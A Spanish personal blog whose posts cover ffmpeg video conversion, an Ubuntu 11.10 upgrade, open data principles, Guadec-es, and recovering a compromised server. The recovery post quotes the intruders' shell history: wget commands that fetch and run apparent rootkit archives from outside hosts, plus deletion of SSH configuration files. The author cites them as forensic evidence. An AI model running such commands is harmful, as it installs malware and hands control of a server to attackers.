Anotaciones de conversión de video

Anotaciones hechas para convertir los vídeos grabados en Encuentro OpenData Sevilla para vimeo.

Los vídeos fueron grabados con la cámara de vídeo de Delegación de Alumnos, que los graba en formato .mts.

A continuación, la linea de comando necesaria para convertir los vídeos a un formato y características compatibles con Vimeo:

ffmpeg -i VIDEO.MTS -f mp4 -s 640x360 -aspect 16:9 -ab 320k -ar 44100 -b 2000k VIDEOFINAL.mp4

Requisitos de los vídeos a subir a vimeo:
video:

  • Codec: H.264 [-codecs h264 ## en experimental]
  • frame rate: 24,25,30 FPS [-vframes 24] [Movies PAL 25 25]
  • Date rate: 2000 kbps(SD), 5000 kbps(HD) [-b 2000k]
  • Resolucion: 640×480(SD) ó 1280×720 (HD) 640×480 for 4:3 SD video, 640×360 for 16:9 SD video, and 1280×720 or 1920×1080 for HD. [-s 640×360]

audio:

  • codec: AAC (Advanced Audio Codec) [aac]
  • date rate: 320 kbps [-ab 320k]
  • Sample rate: 44.1 kHz [-ar 44100]

Nota: Asegurate que tienes espacio suficiente en el HD.

bla bla

Enlaces interesantes:

Actualizando a Ubuntu 11.10

Ya he actualizado. Como siempre, he esperado un poco para actualizar. Sobre todo, con tiempo previsto por si algo sale mal, y he aprovechado para hacer copias de seguridad del sistema, sobre todo de mis fotos y proyectos.

El primer problema encontrado, a la hora de actualizar usando el gestor de actualizaciones de Ubuntu:

extracting 'oneiric.tar.gz'
authenticate 'oneiric.tar.gz' against 'oneiric.tar.gz.gpg'
WARNING: Failed to read mirror file

Junto con una bonita ventada que decía:

Could not calculate the upgrade

An unresolvable problem occurred while calculating the upgrade:
E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.

This can be caused by:
* Upgrading to a pre-release version of Ubuntu
* Running the current pre-release version of Ubuntu
* Unofficial software packages not provided by Ubuntu

If none of this applies, then please report this bug against the 'update-manager' package and include the files in /var/log/dist-upgrade/ in the bug report.

Tras ver varias soluciones, ninguna funcionó; fue mi amigo Juanje quien me dio la solución: El error está en los repositorios españoles. Así que eso hice, cambié el source.list por repositorios no españoles y actualicé sin problema.

No actualizó bien Gnome 3, pero lo instalé de nuevo, y todo perfecto. En general, todo va mucho mejor en el ordenador.

Y he aprovechado, y he instalado varias extensiones de gnome-shell: gnome-shell-extensions-apps-menu, gnome-shell-extensions-workspace-indicator, gnome-shell-extensions-weather. También google-calendar-gnome-shell (Para que aparezca las anotaciones de Google Calendar al lado del calendario de Gnome).

Algunas más disponibles:

gnome-shell - interfaz gráfica para el escritorio GNOME
libmutter0 - window manager library from the Mutter window manager
gnome-shell-extensions-extended-places-menu - Unofficial GNOME Shell extended places menu
gnome-shell-extensions-gpaste - GPaste extension for GNOME Shell
gpaste - GPaste is a clipboard management suite for GNOME written in Vala
gnome-shell-extensions-mediaplayer - MediaPlayer extension for GNOME Shell
gnome-shell-extensions-apps-menu - Apps menu extension to GNOME Shell
gnome-shell-extensions-workspace-indicator - Workspace Indicator extension to GNOME Shell
gnome-shell-extensions-common - Extensions to extend functionality of GNOME Shell (common files)
gnome-shell-extensions-dock - Dock extension to GNOME Shell
gnome-shell-extensions-auto-move-windows - Auto Move Windows extension to GNOME Shell
gnome-shell-extensions-gajim - Gajim integration extension to GNOME Shell
gnome-shell-extensions-system-monitor - System monitor extension to GNOME Shell
gnome-shell-extensions-alternative-status-menu - Alternative Status Menu extension to GNOME Shell
gnome-shell-extensions-xrandr-indicator - XRandr extension to GNOME Shell
gnome-shell-extensions-windows-navigator - Windows Navigator extension to GNOME Shell
gnome-shell-extensions-native-window-placement - Native window placement integration extension to GNOME Shell
gnome-shell-extensions-user-theme - User Theme extension to GNOME Shell
gnome-shell-extensions-alternate-tab - Alternate Tab extension to GNOME Shell
gnome-shell-extensions-drive-menu - Drive menu extension to GNOME Shell
gnome-shell-extensions-places-menu - Places menu extension to GNOME Shell
gnome-shell-extensions-noa11y - Gnome Shell Extension to remove the Accessibility icon
gnome-shell-system-monitor - Unofficial GNOME Shell System monitor extension
gnome-shell-extensions-pidgin - Pidgin extension for GNOME Shell
gnome-shell-extensions-weather - Weather extension for GNOME Shell

Y tengo una incorporación nueva como reproductor de música: Exaile

Anotación: Recuperarse de un ataque

Hace unos días, descubrí que habían entrado “unas personas mala” en un servidor con el que trabajo y habían hecho de las suyas. Unas líneas así en el history me confirmaron mis sospechas:

100  wget http://iubi.x10.bz/rk.tgz; tar zxfv rk.tgz; rm -rf rk.tgz; cd var/tmp; ./setup jo6wZgkR 1117
101  wget tubi.nazuka.net/rk.tgz; tar zxfv rk.tgz; rm -rf rk.tgz; cd var/tmp; ./setup jo6wZgkR 1117
80  cd /mnt;wget http://catalin.x10.mx/C;tar zxvf C;rm -rf C;cd muh;./run;cd ..;mv muh .muh
81  cd /mnt;wget http://catalin.x10.mx/M;tar zxvf M;rm -rf M;cd muh;./run;cd ..;mv muh .m
82  cd /mnt;wget http://catalin.x10.mx/B;tar zxvf B;rm -rf B;cd muh;./run

86  wget http://catalin.x10.mx/file.tgz;tar zxvf file.tgz;rm -rf file.tgz;chmod +x file.php
89  wget http://catalin.x10.mx/file.tgz;tar zxvf file.tgz;rm -rf file.tgz;chmod +x file.php
90  cd /etc/ssh
91  rm -rf ssh_config sshd_config
92  yum install openssl*   //Nota es una debian....

Después de ésto, lo más sensato: montar todo de nuevo y estar mucho más pendiente en el futuro. Es lo que pasa cuando tocan muchas manos un servidor y nadie lo actualiza al final.

Realizamos una imagen bits a bits del disco del servidor, para poder tener una imagen exacta del disco duro atacado y poder hacer un análisis forense a posteriori y también poder sacar cierta información de él. (conforme confirmé mis sospechas, tuve que apagar el servidor por lo que pudieran haber hecho con él y pudiese estar enviando).

dd if=/dev/disco  of=ImagenDisco.iso -bs=8192

Una vez creada la imagen del disco, para acceder de forma segura al contenido de la imagen, hemos montado un entorno chroot

sudo mount -t ext3 -o loop,offset=32256 imagen.img /mnt    ### Montamos la imagen generada
sudo mount -o bind /dev /mnt/dev   ## # Enlazamos el /dev local para ser usado por chroot
sudo mount -o bind /sys /mnt/sys    ## # Enlazamos el /sys local para ser usado por chroot
sudo mount -o bind /proc /mnt/proc   ## # Enlazamos el /proc local para ser usado por chroot
sudo chroot /mnt/ ###Creamos el entorno del chroot

Sin conexión a internet, para las tareas que tuvimos que hacer, necesitamos arrancar el apache configurado en la maquina y mysql.

Una de las laborar que tuvimos que hacer, fue recuperar la configuración de las listas de correo de mailman que estaban configuradas. Dicha tarea fue simple, ejecutar el siguiente comando sobre mailman, y recuperamos la lista de correos electrónicos suscritos a las distintas listas y sus respectivas configuraciones.

/usr/lib/mailman/bin/list_members $LISTA > /tmp/fichero
/usr/lib/mailman/bin/config_list -o /tmp/fichero $LISTA

Puntos de fallos:

  • La resolución de nombres configurada en la maquina.
  • Tener claro lo que está dentro del chtroot y fuera.

Resumen:

  • Descubrir que has sufrido un ataque a un servidor.
  • Realizar una imagen del disco atacado para un análisis posterior.
  • Montar la imagen creada y acceder a la información a través de un entorno chroot.
  • Gestionar mailman a través de comandos.

Principios básicos sobre la apertura de datos

A continuación anoto un resumen sobre los principios básicos sobre la apertura de datos publicados por Aitor García hace unos años en la web de Pro Bono Público

  1. Completos:
    Todos los datos públicos deben ponerse a disposición de los ciudadanos. Esto incluye cualquier dato que no este sujeto a una lógica privacidad, a la seguridad o a alguna limitación en cuanto a sus derechos.

  2. Primaria:
    Los datos deben ser recogidos en y por la fuente, con el mayor nivel posible de detalle, y no de forma agregada o modificada.

  3. A tiempo:
    Los datos deben ser accesibles tan rápidamente como sea posible para preservar el valor de los mismos.

  4. Accesibles:
    Los datos deben estar disponible para el más amplio espectro de usuarios y para el más amplio rango de propósitos.

  5. Procesables:
    Los datos deben estar razonablemente estructurados para permitir el procesado automático de los mismos por parte de programas y scripts de software.

  6. No discriminatorios:
    Los datos están disponibles para cualquiera, sin necesidad de ninguno tipo de registro ni licitación.

  7. No propietarios:
    Los datos deben estar disponibles en un formato son el que ninguna entidad tenga control exclusivo.

  8. Licencias libres:
    Los datos no deben estar sujetos a ningún copyright, patente, marca comercial o regulación de secretos comerciales. Aunque de acuerdo con el primer punto puede haber restricciones lógicas por razones de privacidad, seguridad o derechos.

¿Qué es OpenData? Libertad de datos, formatos sobre los que se pueda trabajar, formatos libres y acceso programático a dichos datos.

Empecemos por el principio. Ahora mismo tengo una lista de cosas que mirar y hacer sobre los temas relacionados con OpeData. Muchas ideas en la cabeza.

¿Quién ayuda a quién?

Desde hace unos meses, mientras estaba con la organización del V Concurso Universitario de Software Libre, un buen amigo, mientras yo lo liaba con cosas del CUSL, él me lió con una posible celebración de la Guadec-es en Sevilla.Yo le propuse ayudarle con las gestiones con la E.T.S.I.Informática de la Universidad de Sevilla, pero al final, me ha liado, me ha liado, y acabé colaborando bastante en la organización de la Guadec-es 8, que finalmente, se ha celebrado en Sevilla. Me liaron, pero yo me dejé, y han sido unos días muy buenos. Muy buena la experiencia por muchos motivos. En estos casos ¿quién ayuda a quién? :)

Agradecimientos en Guadec-es8